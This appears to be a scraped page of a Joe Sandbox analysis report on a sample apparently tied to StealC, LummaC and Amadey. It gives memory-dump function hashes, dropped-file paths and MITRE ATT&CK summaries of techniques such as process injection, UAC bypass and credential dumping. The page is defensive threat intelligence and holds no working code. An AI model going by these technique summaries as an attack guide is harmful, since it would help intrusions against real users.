Memory Dump Source

Source File: 00000013.00000002.2240444032.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ba0000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 1e6443a9ff45998119e58a179568746b39b8a7e1913207ebbed549da4c34d355
Instruction ID: 3e2b9b4ae47f194055bf6d1d0222b2f740fedf5d4055fe6f2400b99f0c97ab84
Opcode Fuzzy Hash: 1e6443a9ff45998119e58a179568746b39b8a7e1913207ebbed549da4c34d355
Instruction Fuzzy Hash: 6A1125B2C00259CFDB10CF9AC445BDEFBF4EB48324F20845AD558A7650C778A944CFA5

Function 04BA1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BA1367

Memory Dump Source

Source File: 00000013.00000002.2240444032.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ba0000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 967b8a49f0b9a9d3242dadfa365e7664cf4a508ce147717ea644a2ecce8096a1
Instruction ID: 9a66baa08885d0cfe4109294df20bfa2c1bb6645c3a3886a9a9f62530f48febe
Opcode Fuzzy Hash: 967b8a49f0b9a9d3242dadfa365e7664cf4a508ce147717ea644a2ecce8096a1
Instruction Fuzzy Hash: D01136B1800349CFDB10CF9AC445BDEFBF8EB48324F10845AD558A7650C778A544CFA5

Function 0027EBBA Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0027ED68

Memory Dump Source

Source File: 00000013.00000002.2225413767.000000000027A000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00270000, based on PE: true

Associated: 00000013.00000002.2225342481.0000000000270000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225366106.0000000000272000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225389810.0000000000276000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225439878.0000000000286000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225541469.00000000003E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225564219.00000000003E5000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225588647.00000000003FB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225588647.0000000000409000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225632727.0000000000410000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225652271.0000000000411000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225674102.000000000041E000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2225694633.0000000000420000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2226526851.0000000000440000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227058400.000000000044C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227167498.0000000000458000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227243222.000000000045B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227295244.000000000046A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227333835.0000000000470000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227406367.0000000000479000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227470447.0000000000481000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227521229.0000000000482000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227566442.0000000000487000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227622178.0000000000491000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227674653.0000000000492000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227718519.0000000000493000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227769111.0000000000496000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227867474.0000000000497000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227921774.000000000049D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2227960751.000000000049E000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228021042.000000000049F000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228073847.00000000004A6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228125459.00000000004A9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228435959.00000000004B0000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228491517.00000000004B2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228542102.00000000004C4000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228588592.00000000004C6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228684234.000000000050D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228684234.0000000000513000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228782946.0000000000522000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2228837230.0000000000524000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_270000_K2GPLQXM988TEBRN5R.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8a6e65f04ffb1e414dff02feed38625f10f121582c4c03465ff2e57589b55ede
Instruction ID: fb172dbc16b094fdba74df5e51cfe0a11ad3a98ce00ce1c76500f89e160c1578
Opcode Fuzzy Hash: 8a6e65f04ffb1e414dff02feed38625f10f121582c4c03465ff2e57589b55ede
Instruction Fuzzy Hash: 41014BB222C600DFE360AF26D54567EBBF5FF88310F12882DD9CA8B254D27014A1DB5B

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\K2GPLQXM988TEBRN5R.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre